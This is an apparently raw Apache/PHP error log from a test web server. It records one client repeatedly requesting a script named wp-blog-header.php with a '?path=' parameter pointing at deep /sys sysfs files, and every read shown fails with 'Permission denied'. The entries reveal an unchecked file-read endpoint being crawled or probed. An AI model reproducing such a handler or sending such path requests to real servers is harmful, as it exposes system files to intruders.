[Thu Mar 26 15:29:15.855196 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 15:29:25.462075 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fe
[Thu Mar 26 15:29:26.512627 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:be
[Thu Mar 26 15:29:32.890140 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ea
[Thu Mar 26 15:29:33.987792 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 15:29:36.494016 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 15:29:37.590013 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 15:29:42.300146 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ea
[Thu Mar 26 15:29:42.910743 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec
[Thu Mar 26 15:29:43.887326 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:da
[Thu Mar 26 15:29:44.403392 2026] [php:warn] [pid 3107062] [client 74.7.241.26:51080] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem
[Thu Mar 26 15:29:48.849436 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:da
[Thu Mar 26 15:29:50.946121 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ea
[Thu Mar 26 15:29:54.095552 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:ce
[Thu Mar 26 15:29:55.184182 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ea
[Thu Mar 26 15:29:57.821988 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce
[Thu Mar 26 15:29:58.860498 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ec
[Thu Mar 26 15:30:06.771709 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 15:30:12.081789 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:bc
[Thu Mar 26 15:30:13.064587 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 15:30:15.178549 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:cc
[Thu Mar 26 15:30:16.232684 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee
[Thu Mar 26 15:30:18.407219 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem
[Thu Mar 26 15:30:19.477249 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem
[Thu Mar 26 15:30:20.054555 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:cc
[Thu Mar 26 15:30:21.106674 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:dc
[Thu Mar 26 15:30:23.757774 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:da
[Thu Mar 26 15:30:24.254665 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ac
[Thu Mar 26 15:30:25.219722 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ec
[Thu Mar 26 15:30:25.808108 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec
[Thu Mar 26 15:30:26.900782 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ea
[Thu Mar 26 15:30:30.568151 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ee
[Thu Mar 26 15:30:31.300480 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ba
[Thu Mar 26 15:30:36.033407 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc
[Thu Mar 26 15:30:40.318398 2026] [php:warn] [pid 3216463] [client 74.7.241.26:54104] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fe
[Thu Mar 26 15:30:43.696477 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 15:30:45.343347 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ce
[Thu Mar 26 15:30:48.049392 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:bc
[Thu Mar 26 15:30:49.064570 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:aa
[Thu Mar 26 15:30:51.170003 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ca
[Thu Mar 26 15:30:51.727857 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 15:30:58.196689 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fc
[Thu Mar 26 15:30:58.629352 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac
[Thu Mar 26 15:31:00.749855 2026] [php:warn] [pid 3216613] [client 74.7.241.26:43874] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ec
